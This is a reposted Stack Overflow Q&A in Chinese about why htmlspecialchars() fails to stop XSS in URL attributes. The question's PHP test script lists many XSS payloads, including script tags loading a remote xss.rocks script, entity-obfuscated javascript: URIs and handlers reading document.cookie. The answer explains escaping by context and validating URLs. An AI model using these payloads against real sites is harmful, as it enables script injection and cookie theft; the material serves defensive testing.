", "javascript:alert(-6ren">
gpt4 book ai didi

php - 尽管 htmlspecialchars() 发挥作用,XSS 攻击仍然有效

转载 作者:行者123 更新时间:2023-12-03 08:06:48 30 4
gpt4 key购买 nike

嗨,我正在尝试过滤那些会输入自由文本并希望防止 XSS 攻击的用户的输出,因此我尝试了这个功能来检查

<?php
$patterns = [
"<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>",
"javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>",
"javascript:alert('XSS');",
"JaVaScRiPt:alert('XSS')",
"javascript:alert(&quot;XSS&quot;)",
"javascript:alert(\"RSnake says, 'XSS'\")",
"\<a onmouseover=\"alert(document.cookie)\"\>xxs link\</a\>",
"\<a onmouseover=alert(document.cookie)\>xxs link\</a\>",
"<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\"\>",
"javascript:alert(String.fromCharCode(88,83,83))",
"# onmouseover=\"alert('xxs')\"",
" onmouseover=\"alert('xxs')\"",
"x onerror=\"&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041\"",
"&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;",
"&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041",
"&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29",
"jav ascript:alert('XSS');",
"jav&#x09;ascript:alert('XSS');",
"jav&#x0A;ascript:alert('XSS');",
"jav&#x0D;ascript:alert('XSS');",
"<IMG SRC=java\0script:alert(\"XSS\")>",
" &#14; javascript:alert('XSS');",
"<SCRIPT/XSS SRC=\"http://xss.rocks/xss.js\"></SCRIPT>",
"<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>",
"<SCRIPT/SRC=\"http://xss.rocks/xss.js\"></SCRIPT>",
"<<SCRIPT>alert(\"XSS\");//\<</SCRIPT>",
"<SCRIPT SRC=http://xss.rocks/xss.js?< B >",
"<SCRIPT SRC=//xss.rocks/.j>",
"`<javascript:alert>`('XSS')",
"http://xss.rocks/scriptlet.html <",
'http://xss.rocks/xss.js',
'http://xss.rocks/xss.js, http://xss.rocks/xss.js, http://xss.rocks/xss.js',
"&lt;script&gt;alert('XSS')&lt;script/&gt;"
];
foreach ($patterns as $pattern) {
$pattern = htmlspecialchars(htmlspecialchars($pattern));
?>
<iframe src="<?php echo $pattern; ?>"></iframe>
<iframe src="<?php echo $pattern; ?>" sandbox="allow-scripts"></iframe>
<img src="<?php echo $pattern; ?>">
<a href="<?php echo $pattern; ?>">Anchor</a>
<?php } ?>

我用过htmlspecialchars(htmlspecialchars($pattern))对任何 < 进行编码或>但它似乎并不能阻止攻击

iframe没有allow-script始终在打开后立即运行脚本

我想知道如何彻底清理输入以完全防止这种攻击

我只期望网址,当单击第二个链接时,它也会运行脚本

最佳答案

您无法使用 htmlspecialchars 清除所有类型的 XSS 。 htmlspecialchars可以帮助您防范 HTML 标签内的 XSS 或某些引用的 HTML 属性。

您必须使用不同类型的 XSS 各自的清理方法来清理它们。


  1. 放置在 HTML 中的用户输入:
<p><?php echo $user_entered_variable; ?></p>

攻击向量: <script>alert(1)</script>

这种类型的 XSS 可以使用 htmlspecialchars 进行清理函数,因为攻击者需要使用 <>创建新的 HTML 标记。

解决方案:

<p><?php echo htmlspecialchars($user_entered_variable); ?></p>

  • 用户输入放在单引号属性内:
  • <img title='<?php echo htmlspecialchars($user_entered_variable);?>'/>

    攻击向量: ' onload='alert(1)' '

    htmlspecialchars不会对单引号 ' 进行编码默认情况下。您必须使用 ENT_QUOTES 打开它选项。

    解决方案:

        <img title='<?php echo htmlspecialchars($user_entered_variable,ENT_QUOTES);?>'/>

  • 放置在 URL 属性内的用户输入: src , href , formaction , ...
  •     <iframe src="<?php echo htmlspecialchars($user_entered_variable); ?>"></iframe>
    <img src="<?php echo htmlspecialchars($user_entered_variable); ?>">
    <a href="<?php echo htmlspecialchars($user_entered_variable); ?>">Link</a>

    <script>function openLink(link){window.open(link);}</script>
    <button onclick="openLink('<?php echo htmlspecialchars($user_entered_variable); ?>')">JavaScript Window XSS</button>

    攻击向量: javascript:alert(1) , javscript://alert(1)

    htmlspecialchars Document

    PHP Document

    此函数不会阻止这些向量,因为它们没有任何 HTML 特殊字符。为了防止此类攻击,您需要验证 URL 形式的输入。

    解决方案:

     <?php

    $user_entered_variable = htmlspecialchars($user_entered_variable);
    $isValidURL = filter_var($user_entered_variable, FILTER_VALIDATE_URL) !== false;
    if(!$isValidURL)
    $user_entered_variable = 'invalid://invalid';
    ?>
    <iframe src="<?php echo $user_entered_variable; ?>"></iframe>
    <img src="<?php echo $user_entered_variable; ?>">
    <a href="<?php echo $user_entered_variable; ?>">Link</a>

    <script>function openLink(link){window.open(link);}</script>
    <button onclick="openLink('<?php echo $user_entered_variable; ?>')">JavaScript Window XSS</button>


  • 用户输入放置在 JavaScript 标记内,不带任何引号
  • <script>
    var inputNumber = <?php echo $user_entered_variable; ?>
    </script>

    攻击向量: 1;alert(1)

    在某些情况下,我们可以轻松地引用输入并通过使用htmlspecialchars对其进行清理来防止攻击但如果我们需要输入为整数,我们可以通过使用输入验证来防止 XSS。

    解决方案:

    <script>
    var inputNumber = <?php echo intval($user_entered_variable); ?>
    </script>

    当变量放置在 HTML 属性中时,始终引用变量并进行适当的清理。

    关于php - 尽管 htmlspecialchars() 发挥作用,XSS 攻击仍然有效,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/72080895/

    30 4 0
    Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
    广告合作:1813099741@qq.com 6ren.com